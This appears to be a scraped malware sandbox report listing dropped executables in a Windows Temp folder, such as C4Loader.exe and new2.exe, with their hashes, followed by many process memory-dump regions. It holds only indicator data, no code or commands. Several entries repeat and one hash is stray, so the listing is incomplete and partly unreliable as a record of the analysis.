ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e525495b712ad843e2bf39f1ab839514

SHA1
a2added160bdc1f5b80510c3040e8c7e5c6dac45

SHA256
8b25caa5ab544204969eefcde4273d8420036b242e8529bb32f7f2a921bdf378

SHA512
a8144abf5e195651911955c431fb9f61c0b4f34b2b065c24b17a3b461854bb7271cf30964017b4a59d16af5a5305f643cd849b399b479b3137100fe6d29d9a15

Download Submit
\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
455KB

MD5
ee0ad7cc2a5976a5c658da52092977a9

SHA1
c69b99d42a9f9886af74e6a75fd905a5d17d4792

SHA256
f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b

SHA512
ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17

Download Submit
\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
455KB

MD5
ee0ad7cc2a5976a5c658da52092977a9

SHA1
c69b99d42a9f9886af74e6a75fd905a5d17d4792

SHA256
f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b

SHA512
ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17

Download Submit
\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
455KB

MD5
ee0ad7cc2a5976a5c658da52092977a9

SHA1
c69b99d42a9f9886af74e6a75fd905a5d17d4792

SHA256
f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b

SHA512
ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17

Download Submit
\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
455KB

MD5
ee0ad7cc2a5976a5c658da52092977a9

SHA1
c69b99d42a9f9886af74e6a75fd905a5d17d4792

SHA256
f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b

SHA512
ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17

Download Submit
memory/416-174-0x0000000036D70000-0x0000000036D80000-memory.dmp

Filesize
64KB

Download
memory/416-171-0x000007FEBEEA0000-0x000007FEBEEB0000-memory.dmp

Filesize
64KB

Download
memory/416-172-0x0000000000870000-0x0000000000897000-memory.dmp

Filesize
156KB

Download
memory/416-166-0x0000000000840000-0x0000000000861000-memory.dmp

Filesize
132KB

Download
memory/836-161-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/836-162-0x0000000076D30000-0x0000000076ED9000-memory.dmp

Filesize
1.7MB

Download
memory/836-167-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/836-164-0x0000000076B10000-0x0000000076C2F000-memory.dmp

Filesize
1.1MB

Download
memory/836-169-0x0000000076D30000-0x0000000076ED9000-memory.dmp

Filesize
1.7MB

Download
memory/836-158-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/848-100-0x0000000072D70000-0x000000007331B000-memory.dmp

Filesize
5.7MB

Download
memory/848-69-0x0000000072D70000-0x000000007331B000-memory.dmp

Filesize
5.7MB

Download
memory/848-68-0x0000000072D70000-0x000000007331B000-memory.dmp

Filesize
5.7MB

Download
memory/920-129-0x00000000027FB000-0x000000000281A000-memory.dmp

Filesize
124KB

Download
memory/920-128-0x00000000027F4000-0x00000000027F7000-memory.dmp

Filesize
12KB

Download
memory/920-120-0x000007FEF3090000-0x000007FEF3BED000-memory.dmp

Filesize
11.4MB

Download
memory/920-119-0x000007FEF3BF0000-0x000007FEF4613000-memory.dmp

Filesize
10.1MB

Download
memory/920-135-0x00000000027FB000-0x000000000281A000-memory.dmp

Filesize
124KB

Download
memory/956-155-0x0000000072A80000-0x000000007302B000-memory.dmp

Filesize
5.7MB

Download
memory/1004-89-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1004-86-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1004-77-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1004-79-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1376-143-0x0000000002330000-0x0000000002387000-memory.dmp

Filesize
348KB

Download
memory/1376-148-0x0000000002420000-0x000000000255D000-memory.dmp

Filesize
1.2MB

Download
memory/1376-101-0x0000000001F10000-0x0000000002414000-memory.dmp

Filesize
5.0MB

Download
memory/1376-103-0x0000000001F10000-0x0000000002414000-memory.dmp

Filesize
5.0MB

Download
memory/1376-127-0x0000000001F10000-0x0000000002414000-memory.dmp

Filesize
5.0MB

Download
memory/1376-104-0x0000000002420000-0x000000000255D000-memory.dmp

Filesize
1.2MB

Download
memory/1376-144-0x0000000000310000-0x0000000000316000-memory.dmp

Filesize
24KB

Download
memory/1376-142-0x0000000002420000-0x000000000255D000-memory.dmp

Filesize
1.2MB

Download
memory/1376-108-0x0000000002420000-0x000000000255D000-memory.dmp

Filesize
1.2MB

Download
memory/1500-157-0x0000000076B10000-0x0000000076C2F000-memory.dmp

Filesize
1.1MB

Download
memory/1500-163-0x0000000076D30000-0x0000000076ED9000-memory.dmp

Filesize
1.7MB

Download
memory/1500-165-0x0000000076B10000-0x0000000076C2F000-memory.dmp

Filesize
1.1MB

Download
memory/1500-156-0x0000000076D30000-0x0000000076ED9000-memory.dmp

Filesize
1.7MB

Download
memory/1500-154-0x0000000000E4B000-0x0000000000E6A000-memory.dmp

Filesize
124KB

Download
memory/1500-153-0x0000000000E44000-0x0000000000E47000-memory.dmp

Filesize
12KB

Download
memory/1500-152-0x000007FEF2010000-0x000007FEF2B6D000-memory.dmp

Filesize
11.4MB

Download
memory/1500-151-0x000007FEF3250000-0x000007FEF3C73000-memory.dmp

Filesize
10.1MB

Download
memory/1648-62-0x00000000000C0000-0x00000000000C8000-memory.dmp

Filesize
32KB

Download
memory/1648-54-0x00000000000C0000-0x00000000000C8000-memory.dmp

Filesize
32KB

Download
memory/1648-63-0x00000000000C0000-0x00000000000C8000-memory.dmp

Filesize
32KB

Download
memory/1648-65-0x0000000075C61000-0x0000000075C63000-memory.dmp

Filesize
8KB

Download
memory/1648-56-0x00000000000C0000-0x00000000000C8000-memory.dmp

Filesize
32KB

Download
memory/1880-88-0x0000000000A40000-0x0000000000BAC000-memory.dmp

Filesize
1.4MB

Download
memory/1880-102-0x0000000004A70000-0x0000000004BD6000-memory.dmp

Filesize
1.4MB

Download
memory/1880-149-0x0000000004EF6000-0x0000000004F07000-memory.dmp

Filesize
68KB

Download
memory/1880-109-0x0000000005210000-0x000000000535E000-memory.dmp

Filesize
1.3MB

Download
memory/1880-110-0x00000000004A0000-0x00000000004B4000-memory.dmp

Filesize
80KB

Download
memory/1984-112-0x000007FEF3250000-0x000007FEF3C73000-memory.dmp

Filesize
10.1MB

Download
memory/1984-113-0x000007FEF2010000-0x000007FEF2B6D000-memory.dmp

Filesize
11.4MB

Download
memory/1984-114-0x00000000024F4000-0x00000000024F7000-memory.dmp

Filesize
12KB

Download
memory/1984-115-0x00000000024F4000-0x00000000024F7000-memory.dmp

Filesize
12KB

Download
memory/1984-116-0x00000000024FB000-0x000000000251A000-memory.dmp

Filesize
124KB

Download
memory/1984-111-0x000007FEFB5B1000-0x000007FEFB5B3000-memory.dmp

Filesize
8KB

Download